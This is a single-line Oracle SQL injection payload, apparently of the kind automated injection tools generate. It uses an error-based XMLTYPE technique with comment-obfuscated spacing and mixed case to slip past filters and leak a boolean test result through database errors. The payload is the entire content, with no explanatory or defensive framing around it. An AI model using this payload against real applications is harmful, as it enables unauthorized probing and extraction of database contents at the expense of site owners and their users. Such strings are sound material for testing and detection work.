1',(sEleCt/**/UpPER(XmLTYpE(Chr(60)||chr(58)||%27~%27||(SELeCt/**/(CaSE/**/When/**/(5931=5931)/**/ThEn/**/1/**/Else/**/0/**/End)/**/FroM/**/DUAl)||%27~%27||ChR(62)))/**/froM/**/dUAl)-- -